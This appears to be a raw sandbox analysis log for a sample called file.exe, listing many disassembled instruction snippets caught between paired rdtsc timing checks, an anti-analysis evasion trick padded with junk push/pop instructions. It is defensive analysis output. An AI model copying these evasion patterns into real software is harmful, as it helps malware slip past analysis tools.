Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635024 second address: 63502A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63502A second address: 63502E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635100 second address: 635111 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635111 second address: 63511B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F6970DB3BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6352C7 second address: 6352D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jc 00007F6970D85C24h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63584C second address: 635852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635852 second address: 635856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6374B3 second address: 6374C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63907F second address: 639083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639083 second address: 63908D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6970DB3BD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639765 second address: 63976A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A17C second address: 63A180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63ABD2 second address: 63ABD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DB7F second address: 63DBF7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6970DB3BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, dword ptr [ebp+122D2B4Dh] 0x00000014 pushad 0x00000015 sbb edi, 25B7C8B1h 0x0000001b sub ebx, dword ptr [ebp+122D39E6h] 0x00000021 popad 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007F6970DB3BD8h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 00000015h 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e jg 00007F6970DB3BDCh 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push ebp 0x00000049 call 00007F6970DB3BD8h 0x0000004e pop ebp 0x0000004f mov dword ptr [esp+04h], ebp 0x00000053 add dword ptr [esp+04h], 0000001Ah 0x0000005b inc ebp 0x0000005c push ebp 0x0000005d ret 0x0000005e pop ebp 0x0000005f ret 0x00000060 xchg eax, esi 0x00000061 push eax 0x00000062 pushad 0x00000063 pushad 0x00000064 popad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DBF7 second address: 63DC04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DC04 second address: 63DC0E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6970DB3BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DC0E second address: 63DC13 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FB61 second address: 63FB86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jng 00007F6970DB3BE8h 0x0000000f jmp 00007F6970DB3BE2h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FB86 second address: 63FB8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FB8A second address: 63FBE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F6970DB3BD8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 cld 0x00000023 call 00007F6970DB3BDBh 0x00000028 ja 00007F6970DB3BD9h 0x0000002e pop edi 0x0000002f push 00000000h 0x00000031 sub dword ptr [ebp+122D5C0Fh], esi 0x00000037 push 00000000h 0x00000039 movsx edi, di 0x0000003c add ebx, 2DD17975h 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F6970DB3BDBh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640BC2 second address: 640BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FD29 second address: 63FD2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FD2D second address: 63FDCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnp 00007F6970D85C1Eh 0x0000000d nop 0x0000000e sub dword ptr [ebp+122D36FDh], ecx 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F6970D85C18h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 jp 00007F6970D85C1Ah 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 push 00000000h 0x00000044 push eax 0x00000045 call 00007F6970D85C18h 0x0000004a pop eax 0x0000004b mov dword ptr [esp+04h], eax 0x0000004f add dword ptr [esp+04h], 00000015h 0x00000057 inc eax 0x00000058 push eax 0x00000059 ret 0x0000005a pop eax 0x0000005b ret 0x0000005c mov ebx, dword ptr [ebp+124591E1h] 0x00000062 mov eax, dword ptr [ebp+122D000Dh] 0x00000068 mov edi, dword ptr [ebp+122D21D4h] 0x0000006e push FFFFFFFFh 0x00000070 jmp 00007F6970D85C21h 0x00000075 nop 0x00000076 pushad 0x00000077 jne 00007F6970D85C18h 0x0000007d pushad 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FDCD second address: 63FDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6970DB3BD6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F6970DB3BE0h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FDEE second address: 63FDF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641C22 second address: 641C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642DB0 second address: 642DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ecx 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644D87 second address: 644D8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645EFD second address: 645F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6970D85C16h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F6970D85C18h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 jmp 00007F6970D85C24h 0x0000002e sbb ebx, 6F4EF33Bh 0x00000034 push 00000000h 0x00000036 add bh, 00000070h 0x00000039 push 00000000h 0x0000003b cld 0x0000003c mov ebx, dword ptr [ebp+122D2F8Fh] 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 jne 00007F6970D85C16h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648CF6 second address: 648D4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov di, 377Fh 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F6970DB3BD8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a push ebx 0x0000002b mov bx, si 0x0000002e pop edi 0x0000002f mov edi, dword ptr [ebp+122D2D6Bh] 0x00000035 push 00000000h 0x00000037 mov bl, FBh 0x00000039 xchg eax, esi 0x0000003a jl 00007F6970DB3BE4h 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649BD1 second address: 649BD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649BD5 second address: 649BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 cld 0x00000009 push 00000000h 0x0000000b xor bx, 572Fh 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+12483180h], eax 0x00000018 xchg eax, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649BF4 second address: 649BF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649CFD second address: 649D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CEDE second address: 64CEE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F6970D85C16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FE35 second address: 64FE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6970DB3BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FE3F second address: 64FE4F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F6970D85C1Eh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FE4F second address: 64FE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jns 00007F6970DB3BD6h 0x0000000b jnc 00007F6970DB3BD6h 0x00000011 jnc 00007F6970DB3BD6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657CB7 second address: 657CD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F6970D85C16h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 ja 00007F6970D85C16h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657CD1 second address: 657CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657CDA second address: 657CE8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657F7B second address: 657F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657F7F second address: 657F8B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6970D85C16h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658157 second address: 658169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6970DB3BDCh 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658169 second address: 658185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C22h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658185 second address: 658189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C74D second address: 65C751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C751 second address: 65C75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C75A second address: 65C780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a jmp 00007F6970D85C1Eh 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 jng 00007F6970D85C16h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C780 second address: 65C7B3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6970DB3BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [eax] 0x0000000d js 00007F6970DB3BDCh 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 jmp 00007F6970DB3BE2h 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C99C second address: 65C9F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F6970D85C16h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F6970D85C22h 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a jmp 00007F6970D85C26h 0x0000001f jmp 00007F6970D85C1Eh 0x00000024 popad 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 pushad 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C9F0 second address: 65C9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662513 second address: 66251D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6970D85C1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662134 second address: 662148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pushad 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6623DB second address: 6623E7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6970D85C1Eh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6623E7 second address: 6623EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663BCF second address: 663BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnl 00007F6970D85C1Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663BE0 second address: 663C04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F6970DB3BD6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663C04 second address: 663C0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667EB0 second address: 667EDA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6970DB3BEFh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668020 second address: 668031 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C1Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66818C second address: 668198 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668198 second address: 66819E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66819E second address: 6681A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6681A2 second address: 6681C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6970D85C29h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6688DD second address: 6688E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6688E1 second address: 6688F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6970D85C21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668EBB second address: 668EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668EC1 second address: 668EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668EC9 second address: 668ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6692AF second address: 6692C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C1Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667BE6 second address: 667BFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6970DB3BE5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B03A second address: 66B055 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F6970D85C1Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F6970D85C16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B055 second address: 66B05E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B05E second address: 66B067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B067 second address: 66B077 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6970DB3BE2h 0x00000008 js 00007F6970DB3BD6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670EE0 second address: 670EE6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670EE6 second address: 670F07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F6970DB3BD6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop eax 0x0000000c jmp 00007F6970DB3BDFh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6328E5 second address: 6328F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6970D85C16h 0x0000000a popad 0x0000000b pushad 0x0000000c jnp 00007F6970D85C16h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6328F9 second address: 619715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 jo 00007F6970DB3BDCh 0x0000000f mov dword ptr [ebp+122D24BBh], edi 0x00000015 lea eax, dword ptr [ebp+12486697h] 0x0000001b clc 0x0000001c or dword ptr [ebp+1245A1CFh], edx 0x00000022 push eax 0x00000023 jno 00007F6970DB3BDEh 0x00000029 mov dword ptr [esp], eax 0x0000002c cld 0x0000002d call dword ptr [ebp+122D1CA2h] 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 push edx 0x0000003a pop edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632AA1 second address: 632ABC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6970D85C27h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632ABC second address: 632AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632F1C second address: 632F22 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
